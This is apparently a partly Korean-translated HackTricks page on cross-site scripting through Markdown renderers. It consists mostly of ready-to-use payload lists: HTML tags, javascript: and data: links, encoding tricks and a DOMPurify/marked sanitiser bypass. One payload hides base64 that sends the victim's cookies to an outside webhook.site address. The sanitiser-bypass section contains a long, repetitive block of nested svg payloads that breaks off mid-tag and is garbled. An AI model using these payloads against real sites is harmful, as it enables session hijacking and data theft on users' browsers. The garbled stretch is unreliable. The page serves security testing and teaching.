XSS in Markdown

htARTE (HackTricks AWS Red Team Expert)를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요!

마크다운에 코드를 삽입할 수 있는 기회가 있다면, 코드가 해석될 때 XSS를 트리거할 수 있는 몇 가지 옵션이 있습니다.

HTML 태그

마크다운에서 XSS를 얻는 가장 일반적인 방법은 자바스크립트를 실행하는 일반적인 HTML 태그를 삽입하는 것입니다. 이는 여러 마크다운 해석기에서도 HTML을 허용하기 때문입니다.

<!-- XSS with regular tags -->
<script>alert(1)</script>
<img src=x onerror=alert(1) />

메인 XSS 페이지에서 더 많은 예제를 찾을 수 있습니다.

자바스크립트 링크

HTML 태그를 사용할 수 없는 경우에는 항상 마크다운 구문을 사용하여 시도해 볼 수 있습니다:

<!-- markdow link to XSS, this usually always work but it requires interaction -->
[a](javascript:prompt(document.cookie))

<!-- Other links attacks with some bypasses -->
[Basic](javascript:alert('Basic'))
[Local Storage](javascript:alert(JSON.stringify(localStorage)))
[CaseInsensitive](JaVaScRiPt:alert('CaseInsensitive'))
[URL](javascript://www.google.com%0Aalert('URL'))
[In Quotes]('javascript:alert("InQuotes")')
[a](j a v a s c r i p t:prompt(document.cookie))
[a](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K)
[a](javascript:window.onerror=alert;throw%201)

Img 이벤트 구문 남용

The img tag in HTML allows the inclusion of images in a webpage. However, it also supports an onerror event attribute that can be exploited for cross-site scripting (XSS) attacks.

HTML의 img 태그는 웹 페이지에 이미지를 포함하는 데 사용됩니다. 그러나 이 태그는 onerror 이벤트 속성을 지원하여 크로스 사이트 스크립팅 (XSS) 공격에 악용될 수 있습니다.

The onerror event is triggered when an error occurs while loading an image. By injecting malicious code into the onerror attribute, an attacker can execute arbitrary JavaScript code on the victim's browser.

onerror 이벤트는 이미지를 로드하는 동안 오류가 발생할 때 트리거됩니다. 악의적인 코드를 onerror 속성에 삽입함으로써 공격자는 피해자의 브라우저에서 임의의 JavaScript 코드를 실행할 수 있습니다.

For example, consider the following code snippet:

<img src="nonexistent-image.jpg" onerror="alert('XSS Attack!')">

In this case, if the image nonexistent-image.jpg fails to load, the onerror event is triggered, executing the JavaScript code alert('XSS Attack!'). This can be used to steal sensitive information or perform other malicious actions.

예를 들어, 다음 코드 조각을 살펴보십시오:

<img src="nonexistent-image.jpg" onerror="alert('XSS Attack!')">

이 경우, 이미지 nonexistent-image.jpg가 로드에 실패하면 onerror 이벤트가 트리거되어 JavaScript 코드 alert('XSS Attack!')가 실행됩니다. 이를 통해 민감한 정보를 도용하거나 다른 악의적인 동작을 수행할 수 있습니다.

![Uh oh...]("onerror="alert('XSS'))
![Uh oh...](https://www.example.com/image.png"onload="alert('XSS'))
![Escape SRC - onload](https://www.example.com/image.png"onload="alert('ImageOnLoad'))
![Escape SRC - onerror]("onerror="alert('ImageOnError'))

HTML Sanitiser Markdown Bypass

다음 코드는 HTML 입력을 살균하고 그런 다음 마크다운 파서에 전달합니다. 이후 Markdown과 DOMPurify 간의 잘못된 해석을 악용하여 XSS를 트리거할 수 있습니다.

<!--from https://infosecwriteups.com/clique-writeup-%C3%A5ngstromctf-2022-e7ae871eaa0e -->
<script src="https://cdn.jsdelivr.net/npm/dompurify@2.3.6/dist/purify.min.js"></script>
<script src="https://cdn.jsdelivr.net/npm/marked@4.0.14/lib/marked.umd.min.js"></script>
<script>
const qs = new URLSearchParams(location.search);
if (qs.get("content")?.length > 0) {
document.body.innerHTML = marked.parse(DOMPurify.sanitize(qs.get("content")));
}
</script>

페이로드 예시:

<script>alert('XSS')</script>
<script>alert('XSS')</script>
<img src="x" onerror="alert('XSS')">
<img src="x" onerror="alert('XSS')">
[Click me](javascript:alert('XSS'))
<a href="javascript:alert('XSS')">Click me</a>
[Click me](javascript:alert('XSS'))
<a href="javascript:alert('XSS')">Click me</a>
![Image](javascript:alert('XSS'))
<img src="javascript:alert('XSS')" alt="Image">
![Image](javascript:alert('XSS'))
<img src="javascript:alert('XSS')" alt="Image">
<iframe src="javascript:alert('XSS')"></iframe>
<iframe src="javascript:alert('XSS')"></iframe>
<iframe src="javascript:alert('XSS')"></iframe>
<iframe src="javascript:alert('XSS')"></iframe>
<svg onload="alert('XSS')"></svg>
<svg onload="alert('XSS')"></svg>
<svg onload="alert('XSS')"></svg>
<svg onload="alert('XSS')"></svg>
<svg><script>alert('XSS')</script></svg>
<svg><script>alert('XSS')</script></svg>
<svg><script>alert('XSS')</script></svg>
<svg><script>alert('XSS')</script></svg>
<svg><img src="x" onerror="alert('XSS')"></svg>
<svg><img src="x" onerror="alert('XSS')"></svg>
<svg><img src="x" onerror="alert('XSS')"></svg>
<svg><img src="x" onerror="alert('XSS')"></svg>
<svg><a href="javascript:alert('XSS')">Click me</a></svg>
<svg><a href="javascript:alert('XSS')">Click me</a></svg>
<svg><a href="javascript:alert('XSS')">Click me</a></svg>
<svg><a href="javascript:alert('XSS')">Click me</a></svg>
<svg><img src="javascript:alert('XSS')" alt="Image"></svg>
<svg><img src="javascript:alert('XSS')" alt="Image"></svg>
<svg><img src="javascript:alert('XSS')" alt="Image"></svg>
<svg><img src="javascript:alert('XSS')" alt="Image"></svg>
<svg><iframe src="javascript:alert('XSS')"></iframe></svg>
<svg><iframe src="javascript:alert('XSS')"></iframe></svg>
<svg><iframe src="javascript:alert('XSS')"></iframe></svg>
<svg><iframe src="javascript:alert('XSS')"></iframe></svg>
<svg><svg onload="alert('XSS')"></svg></svg>
<svg><svg onload="alert('XSS')"></svg></svg>
<svg><svg onload="alert('XSS')"></svg></svg>
<svg><svg onload="alert('XSS')"></svg></svg>
<svg><svg><script>alert('XSS')</script></svg></svg>
<svg><svg><script>alert('XSS')</script></svg></svg>
<svg><svg><script>alert('XSS')</script></svg></svg>
<svg><svg><script>alert('XSS')</script></svg></svg>
<svg><svg><img src="x" onerror="alert('XSS')"></svg></svg>
<svg><svg><img src="x" onerror="alert('XSS')"></svg></svg>
<svg><svg><img src="x" onerror="alert('XSS')"></svg></svg>
<svg><svg><img src="x" onerror="alert('XSS')"></svg></svg>
<svg><svg><a href="javascript:alert('XSS')">Click me</a></svg></svg>
<svg><svg><a href="javascript:alert('XSS')">Click me</a></svg></svg>
<svg><svg><a href="javascript:alert('XSS')">Click me</a></svg></svg>
<svg><svg><a href="javascript:alert('XSS')">Click me</a></svg></svg>
<svg><svg><img src="javascript:alert('XSS')" alt="Image"></svg></svg>
<svg><svg><img src="javascript:alert('XSS')" alt="Image"></svg></svg>
<svg><svg><img src="javascript:alert('XSS')" alt="Image"></svg></svg>
<svg><svg><img src="javascript:alert('XSS')" alt="Image"></svg></svg>
<svg><svg><iframe src="javascript:alert('XSS')"></iframe></svg></svg>
<svg><svg><iframe src="javascript:alert('XSS')"></iframe></svg></svg>
<svg><svg><iframe src="javascript:alert('XSS')"></iframe></svg></svg>
<svg><svg><iframe src="javascript:alert('XSS')"></iframe></svg></svg>
<svg><svg><svg onload="alert('XSS')"></svg></svg></svg>
<svg><svg><svg onload="alert('XSS')"></svg></svg></svg>
<svg><svg><svg onload="alert('XSS')"></svg></svg></svg>
<svg><svg><svg onload="alert('XSS')"></svg></svg></svg>
<svg><svg><svg><script>alert('XSS')</script></svg></svg></svg>
<svg><svg><svg><script>alert('XSS')</script></svg></svg></svg>
<svg><svg><svg><script>alert('XSS')</script></svg></svg></svg>
<svg><svg><svg><script>alert('XSS')</script></svg></svg></svg>
<svg><svg><svg><img src="x" onerror="alert('XSS')"></svg></svg></svg>
<svg><svg><svg><img src="x" onerror="alert('XSS')"></svg></svg></svg>
<svg><svg><svg><img src="x" onerror="alert('XSS')"></svg></svg></svg>
<svg><svg><svg><img src="x" onerror="alert('XSS')"></svg></svg></svg>
<svg><svg><svg><a href="javascript:alert('XSS')">Click me</a></svg></svg></svg>
<svg><svg><svg><a href="javascript:alert('XSS')">Click me</a></svg></svg></svg>
<svg><svg><svg><a href="javascript:alert('XSS')">Click me</a></svg></svg></svg>
<svg><svg><svg><a href="javascript:alert('XSS')">Click me</a></svg></svg></svg>
<svg><svg><svg><img src="javascript:alert('XSS')" alt="Image"></svg></svg></svg>
<svg><svg><svg><img src="javascript:alert('XSS')" alt="Image"></svg></svg></svg>
<svg><svg><svg><img src="javascript:alert('XSS')" alt="Image"></svg></svg></svg>
<svg><svg><svg><img src="javascript:alert('XSS')" alt="Image"></svg></svg></svg>
<svg><svg><svg><iframe src="javascript:alert('XSS')"></iframe></svg></svg></svg>
<svg><svg><svg><iframe src="javascript:alert('XSS')"></iframe></svg></svg></svg>
<svg><svg><svg><iframe src="javascript:alert('XSS')"></iframe></svg></svg></svg>
<svg><svg><svg><iframe src="javascript:alert('XSS')"></iframe></svg></svg></svg>
<svg><svg><svg><svg onload="alert('XSS')"></svg></svg></svg></svg>
<svg><svg><svg><svg onload="alert('XSS')"></svg></svg></svg></svg>
<svg><svg><svg><svg onload="alert('XSS')"></svg></svg></svg></svg>
<svg><svg><svg><svg onload="alert('XSS')"></svg></svg></svg></svg>
<svg><svg><svg><svg><script>alert('XSS')</script></svg></svg></svg></svg>
<svg><svg><svg><svg><script>alert('XSS')</script></svg></svg></svg></svg>
<svg><svg><svg
```html
<div id="1

![](contenteditable/autofocus/onfocus=confirm('qwq')//)">
-----------------------------------------------
<a title="a

<img src=x onerror=alert(1)>">yep</a>
------------------------------------------------
[x](y '<style>')<!--</style><div id="x--><img src=1 onerror=alert(1)>"></div>
----------------------------------------------
[<p x='<style onload=eval(atob(/bG9jYXRpb249YGh0dHBzOi8vd2ViaG9vay5zaXRlL2FiM2IyYjg5LTg1YTktNGU0YS1hNjg0LTUxN2M1ZjQwNmZmMj9mPWArZW5jb2RlVVJJQ29tcG9uZW50KGRvY3VtZW50LmNvb2tpZSk/.source))>](#'></p>)
----------------------------------------------
`<p x="`<img src=x onerror=alert(1)>"></p>

퍼징

Fuzzing은 입력값에 대한 악의적인 테스트를 수행하여 애플리케이션의 취약점을 찾는 기술입니다. Fuzzing은 임의의 데이터를 입력으로 사용하여 애플리케이션의 응답을 모니터링하고, 예기치 않은 동작이나 오류를 발견하는 것을 목표로 합니다. 이를 통해 악성 코드 삽입, 버퍼 오버플로우, XSS 등과 같은 보안 취약점을 찾을 수 있습니다.

Fuzzing은 자동화된 방식으로 수행되며, 다양한 입력값을 생성하여 애플리케이션에 주입합니다. 이러한 입력값은 일반적인 입력, 비정상적인 입력, 경계값 등을 포함할 수 있습니다. Fuzzing은 애플리케이션의 모든 입력 지점을 대상으로 수행되며, 입력값의 길이, 형식, 구조 등을 변형하여 테스트합니다.

Fuzzing은 애플리케이션의 취약점을 찾는 데 유용한 도구입니다. 악성 사용자가 입력값을 조작하여 애플리케이션에 악의적인 동작을 유발할 수 있는 취약점을 발견할 수 있습니다. 따라서 개발자는 Fuzzing을 통해 발견된 취약점을 수정하고 보완해야 합니다.

<!--
Fuzzing examples from
- https://github.com/cujanovic/Markdown-XSS-Payloads/blob/master/Markdown-XSS-Payloads.txt
- https://makandracards.com/makandra/481451-testing-for-xss-in-markdown-fields
-->

[a](javascript:prompt(document.cookie))
[a](j    a   v   a   s   c   r   i   p   t:prompt(document.cookie))
![a](javascript:prompt(document.cookie))\
<javascript:prompt(document.cookie)>
<&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>
![a](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K)\
[a](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K)
[a](&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29)
![a'"`onerror=prompt(document.cookie)](x)\
[citelol]: (javascript:prompt(document.cookie))
[notmalicious](javascript:window.onerror=alert;throw%20document.cookie)
[test](javascript://%0d%0aprompt(1))
[test](javascript://%0d%0aprompt(1);com)
[notmalicious](javascript:window.onerror=alert;throw%20document.cookie)
[notmalicious](javascript://%0d%0awindow.onerror=alert;throw%20document.cookie)
[a](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K)
[clickme](vbscript:alert(document.domain))
_http://danlec_@.1 style=background-image:url(data:image/png;base64,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);background-repeat:no-repeat;display:block;width:100%;height:100px; onclick=alert(unescape(/오 안돼!/.source));return(false);//
<http://\<meta\ http-equiv=\"refresh\"\ content=\"0;\ url=http://danlec.com/\"\>>
[text](http://danlec.com " [@danlec](/danlec) ")
[a](javascript:this;alert(1))
[a](javascript:this;alert(1&#41;)
[a](javascript&#58this;alert(1&#41;)
[a](Javas&#99;ript:alert(1&#41;)
[a](Javas%26%2399;ript:alert(1&#41;)
[a](javascript:alert&#65534;(1&#41;)
[a](javascript:confirm(1)
[a](javascript://www.google.com%0Aprompt(1))
[a](javascript://%0d%0aconfirm(1);com)
[a](javascript:window.onerror=confirm;throw%201)
[a](javascript:alert(document.domain&#41;)
[a](javascript://www.google.com%0Aalert(1))
[a]('javascript:alert("1")')
[a](JaVaScRiPt:alert(1))
![a](https://www.google.com/image.png"onload="alert(1))
![a]("onerror="alert(1))
</http://<?php\><\h1\><script:script>confirm(2)
[XSS](.alert(1);)
[ ](https://a.de?p=[[/data-x=. style=background-color:#000000;z-index:999;width:100%;position:fixed;top:0;left:0;right:0;bottom:0; data-y=.]])
[ ](http://a?p=[[/onclick=alert(0) .]])
[a](javascript:new%20Function`al\ert\`1\``;)
[XSS](javascript:prompt(document.cookie))
[X
[XSS](&#x6A;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3A;&#x61;&#x6C;&#x65;&#x72;&#x74;&#x28;&#x27;&#x58;&#x53;&#x53;&#x27;&#x29;)
[XSS]: (javascript:prompt(document.cookie))
[XSS](javascript:window.onerror=alert;throw%20document.cookie)
[XSS](javascript://%0d%0aprompt(1))
[XSS](javascript://%0d%0aprompt(1);com)
[XSS](javascript:window.onerror=alert;throw%20document.cookie)
[XSS](javascript://%0d%0awindow.onerror=alert;throw%20document.cookie)
[XSS](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K)
[XSS](vbscript:alert(document.domain))
[XSS](javascript:this;alert(1))
[XSS](javascript:this;alert(1&#41;)
[XSS](javascript&#58this;alert(1&#41;)
[XSS](Javas&#99;ript:alert(1&#41;)
[XSS](Javas%26%2399;ript:alert(1&#41;)
[XSS](javascript:alert&#65534;(1&#41;)
[XSS](javascript:confirm(1)
[XSS](javascript://%0d%0aconfirm(1);com)
[XSS](javascript:window.onerror=confirm;throw%201)
[XSS](�javascript:alert(document.domain&#41;)
![XSS](javascript:prompt(document.cookie))\
![XSS](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K)\
![XSS'"`onerror=prompt(document.cookie)](x)\
htARTE (HackTricks AWS Red Team Expert)를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요!

Last updated